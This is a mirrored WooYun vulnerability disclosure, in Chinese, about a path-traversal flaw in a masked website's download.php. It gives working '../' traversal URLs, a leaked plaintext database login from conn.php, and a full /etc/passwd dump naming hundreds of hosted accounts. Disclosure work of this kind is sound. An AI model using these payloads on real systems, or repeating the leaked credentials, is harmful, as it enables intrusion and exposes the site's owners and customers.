乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-01-04: 细节已通知厂商并且等待厂商处理中 2016-01-07: 厂商已经确认,细节仅向厂商公开 2016-01-17: 细节向核心白帽子及相关领域专家公开 2016-01-27: 细节向普通白帽子公开 2016-02-06: 细节向实习白帽子公开 2016-02-20: 细节向公众公开
rt
目标:http://**.**.**.**物理路径:/home/tefohkd01/domains/**.**.**.**/public_html/download.php构造,
http://**.**.**.**/download.php?file=../../public_html/download.php
配置文件下载,
http://**.**.**.**/download.php?file=../../public_html/conn.php
conn.php中
$sql_url = "localhost";$sql_user = "tefohkd01_tefo";$sql_pw = "YPx8OBjJ";$db = "tefohkd01_tefo";
/etc/passwd下载,
http://**.**.**.**/download.php?file=../../../../../../etc/passwd
passwd中,
root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinnews:x:9:13:news:/etc/news:uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologinrpc:x:32:32:Portmapper RPC user:/:/sbin/nologinrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologinnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologinmailnull:x:47:47::/var/spool/mqueue:/sbin/nologinsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologinapache:x:48:48:Apache:/var/www:/sbin/nologinnscd:x:28:28:NSCD Daemon:/:/sbin/nologinvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologinpcap:x:77:77::/var/arpwatch:/sbin/nologinntp:x:38:38::/etc/ntp:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinhaldaemon:x:68:68:HAL daemon:/:/sbin/nologinavahi:x:70:70:Avahi daemon:/:/sbin/nologinavahi-autoipd:x:100:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologinxfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologinsabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologinnamed:x:25:25:Named:/var/named:/sbin/nologindiradmin:x:101:104::/usr/local/directadmin:/bin/falsemysql:x:102:105:MySQL server:/var/lib/mysql:/bin/falsewebapps:x:500:500::/var/www/html:/bin/falsemajordomo:x:103:2::/etc/virtual/majordomo:/bin/falsedovecot:x:104:106::/home/dovecot:/bin/falseadmin:x:501:501::/home/admin:/bin/bashclamav:x:502:502:Clam AntiVirus:/home/clamav:/bin/falseevitationn:x:504:504::/home/evitationn:/bin/falsenelsonlam:x:506:506::/home/nelsonlam:/bin/falsepetsfans:x:507:507::/home/petsfans:/bin/falsewacecom:x:508:508::/home/wacecom:/bin/falsehkctr:x:510:510::/home/hkctr:/bin/falsea06outdoor:x:511:511::/home/a06outdoor:/bin/falsea259dogcom:x:512:512::/home/a259dogcom:/bin/falsea4lumcom:x:514:514::/home/a4lumcom:/bin/falsea602sqnorg:x:515:515::/home/a602sqnorg:/bin/falsea810hk:x:516:516::/home/a810hk:/bin/falsea89268com:x:517:517::/home/a89268com:/bin/falseaaronkwanc:x:518:518::/home/aaronkwanc:/bin/falseaffinityhk:x:520:520::/home/affinityhk:/bin/falseagiyam:x:521:521::/home/agiyam:/bin/falseahbunnetdd:x:522:522::/home/ahbunnetdd:/bin/falseaisuinfo86:x:523:523::/home/aisuinfo86:/bin/falsealliancepl:x:525:525::/home/alliancepl:/bin/falsealnidvhked:x:526:526::/home/alnidvhked:/bin/falsealphaomega:x:527:527::/home/alphaomega:/bin/falsealucoicomb:x:528:528::/home/alucoicomb:/bin/falseamahk:x:529:529::/home/amahk:/bin/falseangelawong:x:530:530::/home/angelawong:/bin/falseassetcomhk:x:532:532::/home/assetcomhk:/bin/falseawingsstor:x:533:533::/home/awingsstor:/bin/falseazoniconce:x:535:535::/home/azoniconce:/bin/falsebandrmcom7:x:539:539::/home/bandrmcom7:/bin/falsebatsaxcomd:x:540:540::/home/batsaxcomd:/bin/falsebhjsalumni:x:543:543::/home/bhjsalumni:/bin/falsebunnyspace:x:546:546::/home/bunnyspace:/bin/falsecardlandhk:x:547:547::/home/cardlandhk:/bin/falsecdpchkcom4:x:550:550::/home/cdpchkcom4:/bin/falsechuenoucom:x:552:552::/home/chuenoucom:/bin/falsecoinshk:x:555:555::/home/coinshk:/bin/falsecomputerex:x:556:556::/home/computerex:/bin/falsecpchkcom77:x:557:557::/home/cpchkcom77:/bin/falsecsklcomhk7:x:558:558::/home/csklcomhk7:/bin/falsecydhk7eb:x:561:561::/home/cydhk7eb:/bin/falsedaisymaris:x:562:562::/home/daisymaris:/bin/falsederektam:x:564:564::/home/derektam:/bin/falsedfshipcom:x:565:565::/home/dfshipcom:/bin/falsedirectprin:x:566:566::/home/directprin:/bin/falsedirtbikehk:x:567:567::/home/dirtbikehk:/bin/falsedorothytsu:x:568:568::/home/dorothytsu:/bin/falsedphkcom:x:569:569::/home/dphkcom:/bin/falseeasybidjap:x:570:570::/home/easybidjap:/bin/falseeottravelc:x:576:576::/home/eottravelc:/bin/falseeuroasiatr:x:577:577::/home/euroasiatr:/bin/falseexoprocomh:x:578:578::/home/exoprocomh:/bin/falsefirstricho:x:581:581::/home/firstricho:/bin/falsefocallingc:x:582:582::/home/focallingc:/bin/falsefrankieche:x:583:583::/home/frankieche:/bin/falsefreetradeh:x:585:585::/home/freetradeh:/bin/falsefuhingnetc:x:586:586::/home/fuhingnetc:/bin/falsefunfunhome:x:587:587::/home/funfunhome:/bin/falsefwicomhka6:x:589:589::/home/fwicomhka6:/bin/falsefwlcoscom8:x:590:590::/home/fwlcoscom8:/bin/falsegallerycar:x:591:591::/home/gallerycar:/bin/falsegeneralsma:x:592:592::/home/generalsma:/bin/falsegiftattack:x:593:593::/home/giftattack:/bin/falseglamourppc:x:594:594::/home/glamourppc:/bin/falsegoghproduc:x:596:596::/home/goghproduc:/bin/falsegreaterchi:x:597:597::/home/greaterchi:/bin/falsehkacmcomhk:x:600:600::/home/hkacmcomhk:/bin/falsehkcagcom6f:x:601:601::/home/hkcagcom6f:/bin/falsehkcqbcom0a:x:602:602::/home/hkcqbcom0a:/bin/falsehkjcstaffc:x:603:603::/home/hkjcstaffc:/bin/falsehkparentsc:x:605:605::/home/hkparentsc:/bin/falsehksupreme2:x:606:606::/home/hksupreme2:/bin/falsehnhhkcom85:x:607:607::/home/hnhhkcom85:/bin/falsehousehknet:x:610:610::/home/househknet:/bin/falsehoyincoma6:x:612:612::/home/hoyincoma6:/bin/falsehvaahk945:x:613:613::/home/hvaahk945:/bin/falseicecreamus:x:614:614::/home/icecreamus:/bin/falseiceocomhkf:x:615:615::/home/iceocomhkf:/bin/falseichinghkad:x:616:616::/home/ichinghkad:/bin/falseidphkea8:x:617:617::/home/idphkea8:/bin/falseindopacres:x:620:620::/home/indopacres:/bin/falseisohkcom13:x:623:623::/home/isohkcom13:/bin/falsejohnsonspo:x:626:626::/home/johnsonspo:/bin/falsekagostudio:x:628:628::/home/kagostudio:/bin/falsekeenscomhk:x:629:629::/home/keenscomhk:/bin/falsekeyhouseco:x:630:630::/home/keyhouseco:/bin/falsekinsonstud:x:632:632::/home/kinsonstud:/bin/falsekitkwongco:x:633:633::/home/kitkwongco:/bin/falsekobonetcom:x:634:634::/home/kobonetcom:/bin/falsekpcomhke15:x:635:635::/home/kpcomhke15:/bin/falselamto396:x:636:636::/home/lamto396:/bin/falselanaturalb:x:638:638::/home/lanaturalb:/bin/falselaplamnet5:x:639:639::/home/laplamnet5:/bin/falseleechengin:x:640:640::/home/leechengin:/bin/falseleechk766:x:641:641::/home/leechk766:/bin/falseleonhartin:x:642:642::/home/leonhartin:/bin/falseleotpsorg3:x:643:643::/home/leotpsorg3:/bin/falseliberohkco:x:644:644::/home/liberohkco:/bin/falselocusdesig:x:645:645::/home/locusdesig:/bin/falselpcorghk86:x:646:646::/home/lpcorghk86:/bin/falselstcymck:x:647:647::/home/lstcymck:/bin/falselujahgroup:x:649:649::/home/lujahgroup:/bin/falsemacaopeopl:x:650:650::/home/macaopeopl:/bin/falsemacaovoice:x:651:651::/home/macaovoice:/bin/falsemafaidesig:x:652:652::/home/mafaidesig:/bin/falsemagicpoint:x:653:653::/home/magicpoint:/bin/falsemaxngnetb4:x:654:654::/home/maxngnetb4:/bin/falsemayseecomh:x:655:655::/home/mayseecomh:/bin/falsemilestonec:x:657:657::/home/milestonec:/bin/falsemmagicorga:x:659:659::/home/mmagicorga:/bin/falsemoonspirit:x:661:661::/home/moonspirit:/bin/falsemulanhauco:x:662:662::/home/mulanhauco:/bin/falsemychairs:x:663:663::/home/mychairs:/bin/falsemyroomzero:x:665:665::/home/myroomzero:/bin/falseneureuterc:x:669:669::/home/neureuterc:/bin/falsengchikitco:x:670:670::/home/ngchikitco:/bin/falseocom8d6:x:672:672::/home/ocom8d6:/bin/falsepaperhse:x:675:675::/home/paperhse:/bin/falsepazucomd00:x:676:676::/home/pazucomd00:/bin/falsepennychann:x:677:677::/home/pennychann:/bin/falseposhpawsco:x:680:680::/home/poshpawsco:/bin/falseqooooocom:x:681:681::/home/qooooocom:/bin/falsequartsnet3:x:682:682::/home/quartsnet3:/bin/falserainbowcar:x:683:683::/home/rainbowcar:/bin/falserecyclemsc:x:684:684::/home/recyclemsc:/bin/falseredsoundco:x:685:685::/home/redsoundco:/bin/falserighttimec:x:688:688::/home/righttimec:/bin/falseripabharma:x:689:689::/home/ripabharma:/bin/falserm204comc5:x:690:690::/home/rm204comc5:/bin/falseronaldchen:x:691:691::/home/ronaldchen:/bin/falserwowcomd21:x:693:693::/home/rwowcomd21:/bin/falsesdsccomhka:x:695:695::/home/sdsccomhka:/bin/falseshoppingth:x:696:696::/home/shoppingth:/bin/falsesqkhkabd:x:697:697::/home/sqkhkabd:/bin/falsestarhscom0:x:698:698::/home/starhscom0:/bin/falsestarmaxsta:x:699:699::/home/starmaxsta:/bin/falsestraightco:x:701:701::/home/straightco:/bin/falsesuccesspac:x:702:702::/home/successpac:/bin/falsetakhoineta:x:705:705::/home/takhoineta:/bin/falsetdeccomhka:x:706:706::/home/tdeccomhka:/bin/falseteamacaune:x:707:707::/home/teamacaune:/bin/falsetefohkd01:x:708:708::/home/tefohkd01:/bin/falsetinwannewt:x:710:710::/home/tinwannewt:/bin/falsetradefirst:x:713:713::/home/tradefirst:/bin/falseueihkcom:x:715:715::/home/ueihkcom:/bin/falseuniquemaca:x:716:716::/home/uniquemaca:/bin/falsevincentchi:x:718:718::/home/vincentchi:/bin/falsevitascomhk:x:719:719::/home/vitascomhk:/bin/falseweightron:x:721:721::/home/weightron:/bin/falsewinstonlau:x:722:722::/home/winstonlau:/bin/falsewisecarehe:x:724:724::/home/wisecarehe:/bin/falsewyxhkfansc:x:727:727::/home/wyxhkfansc:/bin/falseychzcorghk:x:731:731::/home/ychzcorghk:/bin/falseyglhkcom17:x:732:732::/home/yglhkcom17:/bin/falseywyancom22:x:734:734::/home/ywyancom22:/bin/falselowb:x:756:756::/home/lowb:/bin/falseoffside:x:757:757::/home/offside:/bin/falsehkctr1:x:768:768::/home/hkctr1:/bin/falsegigilam:x:786:786::/home/gigilam:/bin/falseishop1314:x:787:787::/home/ishop1314:/bin/falsejojolam:x:788:788::/home/jojolam:/bin/falsemschk:x:789:789::/home/mschk:/bin/falsettgin:x:792:792::/home/ttgin:/bin/falseunitedadv:x:797:797::/home/unitedadv:/bin/falsecarsonrack:x:799:799::/home/carsonrack:/bin/falseeasytech:x:801:801::/home/easytech:/bin/falseprinteasy:x:807:807::/home/printeasy:/bin/falsetinkee:x:808:808::/home/tinkee:/bin/falsewace:x:809:809::/home/wace:/bin/falseelastiquec:x:814:814::/home/elastiquec:/bin/falsecitylinkco:x:835:835::/home/citylinkco:/bin/falsec9hk:x:840:840::/home/c9hk:/bin/falsewebdesigne:x:843:843::/home/webdesigne:/bin/falsebmwines:x:857:857::/home/bmwines:/bin/falsehair163:x:888:888::/home/hair163:/bin/falsemetta:x:916:916::/home/metta:/bin/falsenelson:x:921:921::/home/nelson:/bin/falsenomeahk:x:922:922::/home/nomeahk:/bin/falsenomeaus:x:924:924::/home/nomeaus:/bin/falsenomeawatch:x:925:925::/home/nomeawatch:/bin/falsephg:x:929:929::/home/phg:/bin/falsepyjewelry:x:931:931::/home/pyjewelry:/bin/falsereaderfanc:x:932:932::/home/readerfanc:/bin/falsesplendid:x:948:948::/home/splendid:/bin/falsesteveso1:x:949:949::/home/steveso1:/bin/falsesteveso2:x:950:950::/home/steveso2:/bin/falsesteveso3:x:951:951::/home/steveso3:/bin/falsetouchup:x:955:955::/home/touchup:/bin/falsetours:x:956:956::/home/tours:/bin/falseultim8:x:957:957::/home/ultim8:/bin/falseusagi:x:958:958::/home/usagi:/bin/falsewintex:x:966:966::/home/wintex:/bin/falseonlinshop1:x:979:979::/home/onlinshop1:/bin/falseonlinshop2:x:982:982::/home/onlinshop2:/bin/falseonlinshop4:x:984:984::/home/onlinshop4:/bin/falseonlinshop5:x:985:985::/home/onlinshop5:/bin/falsepoman:x:988:988::/home/poman:/bin/falsericochet:x:989:989::/home/ricochet:/bin/falsezemingtea:x:992:992::/home/zemingtea:/bin/falseliving:x:994:994::/home/living:/bin/falsemah:x:996:996::/home/mah:/bin/falsesoh:x:997:997::/home/soh:/bin/falsehair163seo:x:1014:1014::/home/hair163seo:/bin/falsemoneyworth:x:1026:1026::/home/moneyworth:/bin/falsemusic:x:1027:1027::/home/music:/bin/falsenomeaccohk:x:1028:1028::/home/nomeaccohk:/bin/falsepulsefitne:x:1029:1029::/home/pulsefitne:/bin/falsereducefatc:x:1030:1030::/home/reducefatc:/bin/falseseeinart:x:1031:1031::/home/seeinart:/bin/falseshapebody:x:1032:1032::/home/shapebody:/bin/falseshipping:x:1033:1033::/home/shipping:/bin/falsesunflower:x:1034:1034::/home/sunflower:/bin/falsetcmakeup:x:1035:1035::/home/tcmakeup:/bin/falsevirtoffice:x:1036:1036::/home/virtoffice:/bin/falsenomoresing:x:1042:1042::/home/nomoresing:/bin/falsepvbc2:x:1043:1043::/home/pvbc2:/bin/falsewebdesigtc:x:1046:1046::/home/webdesigtc:/bin/falsetheboard:x:1048:1048::/home/theboard:/bin/falselotchware:x:1052:1052::/home/lotchware:/bin/falselotchsuppl:x:1053:1053::/home/lotchsuppl:/bin/falsevictorps:x:1054:1054::/home/victorps:/bin/falsejafoon:x:1059:1059::/home/jafoon:/bin/falsecacenter:x:1061:1061::/home/cacenter:/bin/falsehos:x:1071:1071::/home/hos:/bin/falsegrandhealt:x:1078:1078::/home/grandhealt:/bin/falsebusinesspl:x:1079:1079::/home/businesspl:/bin/falsecampbell:x:1094:1094::/home/campbell:/bin/falseecohome:x:1095:1095::/home/ecohome:/bin/falselifecomm:x:1098:1098::/home/lifecomm:/bin/falsewebdesign:x:1101:1101::/home/webdesign:/bin/falseonetechhkc:x:1105:1105::/home/onetechhkc:/bin/falsebuybusines:x:1115:1115::/home/buybusines:/bin/falsemovectr2:x:1119:1119::/home/movectr2:/bin/falsejacson:x:1132:1132::/home/jacson:/bin/falseviolin:x:1138:1138::/home/violin:/bin/falsegreylistd:x:105:107:Greylisting deamon:/var/lib/greylistd:/sbin/nologinonetech:x:1151:1151::/home/onetech:/bin/falseforsyth:x:1152:1152::/home/forsyth:/bin/falseedendiscus:x:1154:1154::/home/edendiscus:/bin/falsegianttesti:x:1157:1157::/home/gianttesti:/bin/falsechrishum:x:1158:1158::/home/chrishum:/bin/falsefood:x:1166:1166::/home/food:/bin/falsemffont:x:1177:1177::/home/mffont:/bin/falsekinson:x:1178:1178::/home/kinson:/bin/falsetkdsystem:x:1179:1179::/home/tkdsystem:/bin/falseorionarm:x:1180:1180::/home/orionarm:/bin/falseespuma:x:1181:1181::/home/espuma:/bin/falseedtkd:x:1182:1182::/home/edtkd:/bin/falsecvtower:x:1183:1183::/home/cvtower:/bin/falsetamuta:x:1185:1185::/home/tamuta:/bin/falseeverhonor:x:1186:1186::/home/everhonor:/bin/falseshooting5:x:1189:1189::/home/shooting5:/bin/falseball3:x:1191:1191::/home/ball3:/bin/falsedebts:x:1194:1194::/home/debts:/bin/falseneoprohk:x:1195:1195::/home/neoprohk:/bin/falsetamodacom:x:1196:1196::/home/tamodacom:/bin/falsemental123:x:1197:1197::/home/mental123:/bin/falseswgaeashop:x:1198:1198::/home/swgaeashop:/bin/falsehangfunghk:x:1199:1199::/home/hangfunghk:/bin/falsexmarket:x:1202:1202::/home/xmarket:/bin/falseeeemotion:x:1203:1203::/home/eeemotion:/bin/falsehkctrcc:x:1205:1205::/home/hkctrcc:/bin/falsecashflow:x:1206:1206::/home/cashflow:/bin/falsegkts:x:1207:1207::/home/gkts:/bin/falseef7com:x:1208:1208::/home/ef7com:/bin/falsehkahhk:x:1209:1209::/home/hkahhk:/bin/falsehkaheng:x:1211:1211::/home/hkaheng:/bin/falsesnuface:x:1212:1212::/home/snuface:/bin/falsemah123:x:1213:1213::/home/mah123:/bin/falsefoster:x:1215:1215::/home/foster:/bin/falsejustbcom:x:1218:1218::/home/justbcom:/bin/falsemaheng:x:1219:1219::/home/maheng:/bin/falsepmca:x:1221:1221::/home/pmca:/bin/falseclubleague:x:1222:1222::/home/clubleague:/bin/falsesuccessmkt:x:1224:1224::/home/successmkt:/bin/falsezzsoncom:x:1226:1226::/home/zzsoncom:/bin/falseembactr:x:1227:1227::/home/embactr:/bin/falsensconcept:x:1229:1229::/home/nsconcept:/bin/falsehk5gctr:x:1230:1230::/home/hk5gctr:/bin/falsehk5gcom:x:1231:1231::/home/hk5gcom:/bin/falseeshop:x:1232:1232::/home/eshop:/bin/falsefemcaremed:x:1233:1233::/home/femcaremed:/bin/falsetest1:x:1234:1234::/home/test1:/bin/false
..
危害等级:高
漏洞Rank:16
确认时间:2016-01-07 18:07
已將事件通知有關機構
暂无